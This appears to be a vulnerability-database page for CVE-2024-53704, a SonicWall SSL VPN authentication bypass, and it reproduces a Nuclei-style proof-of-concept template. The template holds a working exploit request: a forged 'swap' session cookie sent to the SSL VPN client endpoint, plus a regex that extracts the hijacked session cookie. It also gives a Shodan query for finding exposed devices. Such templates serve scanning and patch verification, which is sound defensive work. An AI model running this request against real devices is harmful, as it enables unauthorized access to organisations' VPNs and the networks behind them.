CVE-2024-53704: SSL VPN Session Hijacking

2025-08-01 SSL VPN PoC Public

Description

An Improper Authentication vulnerability in the SSLVPN authentication mechanism allows a remote attacker to bypass authentication.

PoC

id: CVE-2024-53704

info:
  name: SSL VPN Session Hijacking
  author: johnk3r
  severity: critical
  description: |
    An Improper Authentication vulnerability in the SSLVPN authentication mechanism allows a remote attacker to bypass authentication.
  impact: |
    Unauthenticated attackers can hijack SSL VPN sessions by bypassing authentication mechanisms and gaining unauthorized access to the VPN.
  remediation: |
    Update SonicWall to a version that patches CVE-2024-53704 as specified in PSIRT advisory SNWLID-2025-0003.
  reference:
    - https://bishopfox.com/blog/sonicwall-cve-2024-53704-ssl-vpn-session-hijacking
    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0003
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-53704
    cwe-id: CWE-287
    epss-score: 0.95132
    epss-percentile: 0.9986
  metadata:
    verified: true
    max-request: 1
    shodan-query: "http.html_hash:-1466805544"
  tags: cve,cve2024,sonicwall,kev,vkev,vuln

http:
  - raw:
      - |
        GET /cgi-bin/sslvpnclient?launchplatform= HTTP/1.1
        Host: {{Hostname}}
        Cookie: swap=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "NELaunchX1"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: header
        regex:
          - 'Set-Cookie: swap=([a-zA-Z0-9]+);'
# digest: 490a0046304402203acab6c313b3164377926a834414402f621491ba028ef67e23b3fdc92f14f872022050de4446ac2d99538fdb886b3d2ef91bac91f0c9003c602c0f50d6f7030bfdd9:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities